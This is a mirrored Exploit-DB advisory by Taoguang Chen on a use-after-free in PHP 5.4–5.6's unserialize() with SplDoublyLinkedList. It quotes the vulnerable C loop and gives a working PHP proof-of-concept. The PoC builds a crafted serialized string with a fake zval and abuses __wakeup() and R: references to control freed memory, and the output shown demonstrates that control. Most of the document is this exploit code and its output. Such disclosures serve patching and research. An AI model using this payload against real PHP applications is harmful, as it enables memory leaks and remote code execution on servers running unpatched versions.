PHP 5.4/5.5/5.6 – SplDoublyLinkedList ‘Unserialize()’ Use-After-Free

  • 作者: Taoguang Chen
    日期: 2015-09-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38120/
  • Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
    
    Taoguang Chen <[@chtg](http://github.com/chtg)> - 
    Write Date: 2015.8.27 
    Release Date: 2015.9.4
    
    A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
    
    Affected Versions
    ------------
    Affected is PHP 5.6 < 5.6.13
    Affected is PHP 5.5 < 5.5.29
    Affected is PHP 5.4 < 5.4.45
    
    Credits
    ------------
    This vulnerability was disclosed by Taoguang Chen.
    
    Description
    ------------
    
    
    while(*p == ':') {
    ++p;
    ALLOC_INIT_ZVAL(elem);
    if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
    zval_ptr_dtor(&elem);
    goto error;
    }
    
    spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
    }
    
    
    It has been demonstrated many times before that __wakeup() leads to
    ZVAL is freed from memory. However during deserialization will still
    allow to use R: or r: to set references to that already freed memory.
    It is possible to use-after-free attack and execute arbitrary code
    remotely.
    
    Proof of Concept Exploit
    ------------
    The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
    
    
    <?php
    
    class obj {
    var $ryat;
    function __wakeup() {
    $this->ryat = 1;
    }
    }
    
    $fakezval = ptr2str(1122334455);
    $fakezval .= ptr2str(0);
    $fakezval .= "\x00\x00\x00\x00";
    $fakezval .= "\x01";
    $fakezval .= "\x00";
    $fakezval .= "\x00\x00";
    
    $inner = 'i:1234;:i:1;';
    $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
    
    $data = unserialize($exploit);
    
    var_dump($data);
    
    function ptr2str($ptr)
    {
    $out = '';
    for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
    }
    return $out;
    }
    
    ?>
    
    
    Test the PoC on the command line:
    
    
    $ php uafpoc.php
    array(5) {
    [0]=>
    int(1)
    [1]=>
    &int(1)
    [2]=>
    object(obj)#2 (1) {
    ["ryat"]=>
    &int(1)
    }
    [3]=>
    array(1) {
    [0]=>
    int(1122334455)<===so we can control the memory and create fake ZVAL :)
    }
    [4]=>
    string(24) "?v?B????"
    }